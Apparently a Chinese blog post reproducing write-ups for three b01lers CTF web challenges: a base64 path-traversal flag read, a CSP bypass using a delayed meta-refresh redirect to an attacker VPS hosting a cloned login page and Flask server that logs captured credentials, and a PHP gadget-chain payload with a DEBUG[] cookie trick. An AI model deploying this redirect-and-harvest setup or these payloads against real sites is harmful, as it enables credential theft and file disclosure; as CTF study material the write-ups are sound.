warmup

按照提示依次 base64 加密后访问,可以访问 ./flag.txt,也就是 Li9mbGFnLnR4dA==

from base64 import b64decode
import flaskapp = flask.Flask(__name__)@app.route('/<name>')
def index2(name):name = b64decode(name)if (validate(name)):return "This file is blocked!"try:file = open(name, 'r').read()except:return "File Not Found"return file@app.route('/')
def index():return flask.redirect('/aW5kZXguaHRtbA==')def validate(data):if data == b'flag.txt':return Truereturn Falseif __name__ == '__main__':app.run()

fishy-motd

这题考的是 xss 中的表单劫持,和一点点 csp 的绕过。

在页面中可以看到 default-src 'none'; 以及一些其他的限制,可以用 meta 标签来进行 url 重定向。

例如:这里面的 1 是延迟 1 秒后跳转。

<meta http-equiv="refresh" content="1;url=http://vps:port/">

题目的主要代码就是下面这段,机器人访问 login 页面模拟登录,且会在固定的位置输入账密,那么我们可以利用重定向到我们的 vps,在我们的 vps 中把它的 login 完整的 copy 下来,这样当机器人模拟登录的时候就会把账密输入到我们的 vps 上。

const adminBot = async (id) => {const browser = await puppeteer.launch({headless: true, // Uncomment below if the sandbox is causing issues// args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']})const page = await browser.newPage();await page.setViewport({ width: 800, height: 600 });const url = `http://localhost:${port}/login?motd=${id}`;await page.goto(url);await page.mouse.click(10, 10);await new Promise(r => setTimeout(r, 1000));try {if (url !== await page.evaluate(() => window.location.href)) {return { error: "Hey! Something's fishy here!" };}} catch (err) {return { error: "Hey! Something's fishy here!" };}await new Promise(r => setTimeout(r, 5000));await page.mouse.click(420, 280);await page.keyboard.type(user);await page.mouse.click(420, 320);await page.keyboard.type(pass);await page.mouse.click(420, 360);await new Promise(r => setTimeout(r, 1000));await browser.close();messages[id] = undefined;return { error: null };
}

但是这边要绕一下 url 的判断。

if (url !== await page.evaluate(() => window.location.href))

在上面有一句:await new Promise(r => setTimeout(r, 1000)); 也就是检查 url 的时间是一秒,所以我们只要大于一秒,就能绕过 url 的判断了,如下:

<meta http-equiv="refresh" content="2;url=http://vps:port/">

接下来就是表单和服务器的搭建了。

app.py 注意端口防火墙要打开,app.pystatic 目录同级。

from flask import Flask, request, jsonify
from flask import Flask
import json
app = Flask(__name__)
app.debug = True
@app.route('/ee')
def home():return app.send_static_file('ee.html')
@app.route('/login', methods=['post'])
def post_http():id = request.form.get('username')word = request.form.get('password')print(id)print(word)return "aa"
if __name__ == '__main__':app.run(host='0.0.0.0', port=9999)

然后把登录页面放到 static 目录下。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link href="/static/css/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<nav>
<span>
</span>
</nav>
<form class="main" action="login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username">
<label for="password">Password:</label>
<input type="password" id="password" name="password">
<input type="submit" value="Login" class="button">
</form>
</body>
</html>

static 目录下创建 css 目录,在 css 目录下创建 style.css

html,
body {margin: 0;padding: 0;height: 100%;width: 100%;font-size: 16px;display: flex;flex-flow: column;font-family: Arial, Helvetica, sans-serif;
}
h1 {margin: 0 0 0 10px;
}nav {display: flex;flex-flow: row;align-items: center;justify-content: space-between;
}nav span {padding: 10px;font-size: 24px;
}a {color: black;padding: 0.5rem 1rem;font-size: 24px;cursor: pointer;
}.button {border: none;background: rgb(72, 111, 217);color: white;padding: 0.5rem 1rem;font-size: 24px;cursor: pointer;
}.main {flex-grow: 1;display: flex;flex-flow: column;align-items: center;justify-content: center;width: 100%;height: 100%;
}.main div {display: flex;justify-content: space-between;width: 250px;margin-bottom: 10px;
}.form {display: flex;flex-flow: column;align-items: flex-start;justify-content: center;gap: 10px;padding: 10px;
}

启动服务器,最后在 motd 页面 post

<meta http-equiv="refresh" content="2;url=http://vps:9999/ee">

然后点击如下,也就是 start 页面

然后就可以在服务器中看到账密了。

php.galf

传两个参数,codeargscode 必须为 ohceargs 看情况而定。

先贴个链子:

syntaxreader # parse
ohce # __invoke__
orez_lum # __invoke
orez_vid # __invoke
syntaxreader # __construct
noitpecxe # __construct
syntaxreader # parse (catch)
noitpecxe # __toString$error_func($this->message);   [highlight_file(flag.php)]

这边我就从获取 flag 的地方往前说了。
noitpecxe # __toString 中的:$error_func($this->message); 两个变量我们是可以控制的,那从哪边控制呢?

syntaxreader # __construct 中的 if 判断里的 $debug 变量就可以控制,至于怎么控制等会再说,我们先看下这个 $debug 前面的 ... 是什么,我们从一个例子看下。

if (isset($debug)) {// disable debugging modethrow new noitpecxe(...$debug);}

假如我们的 $debug 是一个数组,值为 [1,2,3,4],那么下面的参数值就是 1,2,3,4,也就是 $message=1,$code=2,$previous=3,$error_func=4

class noitpecxe extends Exception{public function __construct($message, $code, $previous = null, $error_func = "printf") {}
}

orez_vid 类的 __invoke 方法下的 new $arg[$arg_val]("div", $result, $arg);orez_lumorez_ddasyntaxreader$class($arg, $arg_val); 都不同,orez_vid 的有三个参数,刚好符合 syntaxreader # __construct 的参数个数,其中的 $arg 参数就是我们输入的 args 参数,也是 syntaxreader # __construct 里的 $debug 参数。

那么果我们按照获取 flag 文件的函数要求( highlight_file(flag.php) ) 传参就是 $error_funchighlight_file$messageflag.php

public function __construct($message, $code, $previous = null, $error_func = "printf") {
}
........
$error_func($this->message);

那么 args post 传的参数样子就是。

args=flag.php,aaa,aaa,highlight_file........

剩余的参数就是按照调用顺序排就行了。

args=flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreader

code 参数就是 7ohce,因为 args 需要整个传入,那么 count($token) 需要为 7

code=ohce+ohce+ohce+ohce+ohce+ohce+ohce

但是我们想调用 orez_vid 就需要 cookie 存在 DEBUG 参数,且在 index.php 中创建 syntaxreader 对象的时候,会触发 syntaxreader 中的 __construct,这次的掉用我们不能触发 throw new noitpecxe(...$debug);,也就是要执行 if (strcmp($_COOKIE['DEBUG'], hash("md5", $flag)) == 0) 判断,我们可以令 DEBUG 为数组即可。

payload:

code=ohce+ohce+ohce+ohce+ohce+ohce+ohce&args=flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreaderCookie: DEBUG[]=1

当然如果跟着 payload 调试走一遍,更一目了然。

总结

感谢星盟大佬们的 wp。

http://blog.xmcve.com/2023/03/20/b01lers-CTF-Writeup/#title-19

b01lers CTF web 复现相关推荐

  1. 『CTF Web复现』[BUUCTF 2018]Online Tool

    文章目录 利用点 代码审计 解题 nmap写文件 escapeshellarg() + escapeshellcmd()使用不当 Payload 完 利用点 nmap写文件 escapeshellar ...

  2. [CTF]-ISCC2022复现

    [CTF]-ISCC2022复现 前言 Misc 2022冬奥会 单板小将苏翊鸣 隐秘的信息 降维打击 藏在星空中的诗-1 藏在星空里的诗-2 真相只有一个 套中套 666(擂台) Web 冬奥会 P ...

  3. ctf web必备工具_设计人员和开发人员的必备Web工具和服务

    ctf web必备工具 I cannot imagine that in 2018 there are people who don't use daily several web tools and ...

  4. 2022 lineCTF WEB复现WriteUp

    lineCTF WEB复现WriteUp Gotm is_admin == true就给flag,需要伪造token,需要秘钥才行 再往下看,经典SSTI 如果能控制acc也就是id为{{.}},就能 ...

  5. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

  6. CTF Web方向考点总结

    CTF Web 0X00 前言 做题已经快四个月了,接触了大大小小的题型,收藏的大师傅们的解题思路.题型总结的博客已经很多了,每次都要一个一个翻很麻烦,于是写下了这一个总结,实际上是把各大博客内容汇总 ...

  7. CTF——web个人总结

    CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...

  8. i春秋2020新春公益赛WEB复现Writeup

    i春秋2020新春公益赛WEB复现Writeup 说实话这个比赛打的我是一点毛病都没有,还是觉得自己掌握的东西太少了,,, 尤其是sql注入,都被大佬们玩出花来了,可能自己太菜,,,哭了!!! 关于S ...

  9. CTF Web学习(三)----python脚本的编写及应用

    CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...

最新文章

  1. C++学习网站。两个 CodeProject,Codeguru
  2. [ -~] 所有的可打印字符
  3. 解决Debian安装后中文乱码
  4. Jupyter Notebook的15个技巧和窍门,可简化您的编码体验
  5. 关于抢红包的_关于抢红包现象的材料作文
  6. 面向集团客户云计算运营平台的市场情况及产品发展——之云计算运营平台方案(二)...
  7. 优质编程网站推荐(适合学习和查资料)
  8. matlab chan算法定位,chan算法定位 matlab
  9. VS加载DLL报---找不到指定的模块(126)
  10. mysql password_expired
  11. Conflux项目进度报告 十月第一期
  12. sublime3 Ctrl + B 只build 不运行的解决方案之一
  13. Redis源码分析 —— 发布与订阅
  14. Tkinter - events and bindings事件绑定
  15. c#报错 :System . Invalid Operation Exception:“线程间操作无效: 从不是创建控件的线程访问它
  16. elasticsearch 建立索引、增删改查 及简单查询和组合查询的学习笔记
  17. 小程序-demo:小熊の日记
  18. Windows10电脑底部任务栏无响应解决方法
  19. 从零开发Vscode上传图片插件
  20. MATLAB type文件名,Matlab产生IGES文件代码

热门文章

  1. [内功修神]计算机网络
  2. sys/socket.h
  3. MVC 网上花店销售系统的设计与实现java jsp 程序设计 课程设计 毕业设计-附源码02140
  4. Tensorflow快餐教程(5) - 范数
  5. 图论-最(极)大独立集
  6. C++11中type_traits中的基石 - integral_constant
  7. python中tab的用法_python中使用tab键进行提示(python3有效)
  8. Autodesk 3ds max 2017 无法保存导出fbx的预设(FBX export does not save presets - Autodesk)
  9. 新建网站与新建Asp.Net Web 应用程序的区别
  10. uni-app接入阿里云认证SDK(号码认证服务),App客户端一键登方式